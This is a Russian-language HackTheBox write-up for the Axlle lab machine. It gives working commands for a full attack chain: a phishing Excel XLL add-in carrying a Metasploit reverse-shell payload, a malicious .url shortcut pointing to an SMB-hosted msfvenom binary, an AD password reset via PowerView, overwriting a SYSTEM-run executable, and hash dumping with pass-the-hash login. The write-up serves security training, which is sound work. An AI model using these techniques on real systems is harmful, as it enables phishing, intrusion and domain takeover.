Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/787cf2dc-0bf0-4541-99f6-e5e91ddf3ba7 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Как и всегда, проведем первоначальное сканирование портов с помощью rustscan
:
PORT STATE SERVICE REASON
25/tcp open smtp syn-ack
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain syn-ack
80/tcp open http syn-ack
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: FAF2C069F86E802FD21BF15DC8EDD2DC
|_http-title: Axlle Development
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
9389/tcp open adws syn-ack
Host script results:
| smb2-time:
| date: 2024-06-23T06:22:07
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 47333/tcp): CLEAN (Timeout)
| Check 2 (port 35630/tcp): CLEAN (Timeout)
| Check 3 (port 61738/udp): CLEAN (Timeout)
| Check 4 (port 24678/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 0s
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 06:22
Completed NSE at 06:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 06:22
Completed NSE at 06:22, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 43.91 seconds
Внесем домен машины себе в /etc/hosts
:
$ sudo nano /etc/hosts
10.129.77.174 axlle.htb
Веб
На веб-сервисе мы видим e-mail [email protected]
и сообщение о том, что мы должны отправить файл в Excel-формате. Макросы будут выключены, что осложняет нам задачу.
Однако название машины Axlle
напоминает XLL фишинг.
Подготовка нагрузки
На виндовой виртуалке скачиваем проект https://github.com/edparcell/HelloWorldXll и ставим Excel 2013 SDK (https://www.microsoft.com/en-gb/download/details.aspx?id=35567).
В проекте правим путь Additional Include Directories
:
И в линковщике тоже правим дополнительные пути:
Возвращаемся в Linux машину и генерируем нагрузку:
$ msfconsole
msf> use exploit/multi/script/web_delivery
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> set target 2
msf> set lhost tun0
msf> set lport 4244
msf> run
После выполнения действий выше получим команду вида powershell.exe …
, пример ниже.
Идем в Windows-виртуалку, находим функцию xlAutoOpen
, оборачиваем полученную нагрузку в вызов system(…)
:
Собираем проект через Build Solution
и полученный файл HelloWorldXll.xll
переносим в Linux-виртуалку.
Отправляем через swaks
письмо с приложенным файлом:
swaks --to [email protected] --from [email protected] --header "Subject: ws" --body "check" --attach @HelloWorldXll.xll
Ждем некоторое время и получаем шелл. Переключимся на него с помощью команды sessions -i 1
.
Продвижение
После получения шелла в каталоге C:/Program Files (x86)/hMailServer/data/axlle.htb/dallon.matrix/2F
находим файл {2F7523BD-628F-4359-913E-A873FCC59D0F}.eml
. Это письмо с подсказкой:
Hi everyone,
The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.
We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.
Yours in click-worthy URLs,
The Web Dev Team
Мы должны положить свою нагрузку в какое-то место и разместить ссылку .url
на него в каталоге C:/inetpub/testing
. Нечто подобное мы делали в машине HackTheBox Mist, но с файлом ярлыка.
Создадим другую нагрузку:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4246 -f exe -o s2.exe
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4246; set payload windows/meterpreter/reverse_tcp; exploit"
sudo impacket-smbserver -smb2support test .
Перейдем в каталог C:/inetpub/testing
и приготовим ссылку на наш сервер:
msf> cd C:/inetpub/testing
msf> powershell
powershell> $url = "file:////10.10.14.107/test/s2.exe"
powershell> $shortcutPath = "C:\inetpub\testing\s2.url"
powershell> $shortcutContent = "[InternetShortcut]`r`nURL=$url"
powershell> Set-Content -Path $shortcutPath -Value $shortcutContent
Немного подождем и увидим скачивание файла:
И практически сразу поймаем второй шелл:
Флаг пользователя
Повышение привилегий
Пробуем посмотреть в Bloodhound:
$ wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
msf> upload SharpHound.exe
powershell> SharpHound.exe
msf> download 20240623023651_BloodHound.zip
Загрузим получившийся файл в BloodHound и посмотрим на самый быстрый путь для получения админа:
Мы можем сменить пароль baz.humphries
или jacob.greeny
, а затем с их помощью выполнить CanPSRemote
, то есть подключиться с помощью evil-winrm
. Далее нам нужно найти способ выполнить DCSync.
Воспользуемся для этого PowerView.ps1
:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Загрузим файл на машину, импортируем модули и сбросим пароль пользователю jacob.greeny
:
msf> upload PowerView.ps1
powershell> Import-Module .\PowerView.ps1
powershell> Set-DomainUserPassword -Identity 'jacob.greeny' -AccountPassword (ConvertTo-SecureString 'SupaDupaPassword123' -AsPlainText -Force) -Verbose
Теперь мы можем подключиться как jacob.greeny
с помощью evil-winrm
:
evil-winrm -i axlle.htb -u jacob.greeny -p 'SupaDupaPassword123'
Теперь перейдем в каталог C:/App Development/kbfiltr
и прочитаем README.md
:
$ cat README.md
...
**NOTE: I have automated the running of `C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe` as SYSTEM to test and debug this driver in a standalone environment**
...
Если мы можем перезаписать этот файл, то получим на системе права SYSTEM
. Проверим права:
powershell> cd "C:/Program Files (x86)/Windows Kits/10/Testing/StandaloneTesting/Internal/x64/"
powershell> icacls standalonerunner.exe
icacls standalonerunner.exe
standalonerunner.exe AXLLE\App Devs:(I)(RX,W)
Everyone:(I)(R)
AXLLE\Administrator:(I)(F)
BUILTIN\Users:(I)(R)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Пользователь из нашей группы может перезаписать файл standalonerunner.exe
. Готовим новую нагрузку:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=4250 -f exe -o standalonerunner.exe
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4250; set payload windows/meterpreter/reverse_tcp; exploit"
И перезаписываем файл:
upload standalonerunner.exe
Далее ловим шелл:
И дампаем хеши:
msf> hashdump
Administrator:500:***:***:::
...
Теперь можем подключиться напрямую с помощью хеша администратора через evil-winrm
:
evil-winrm -u Administrator -H *** -i axlle.htb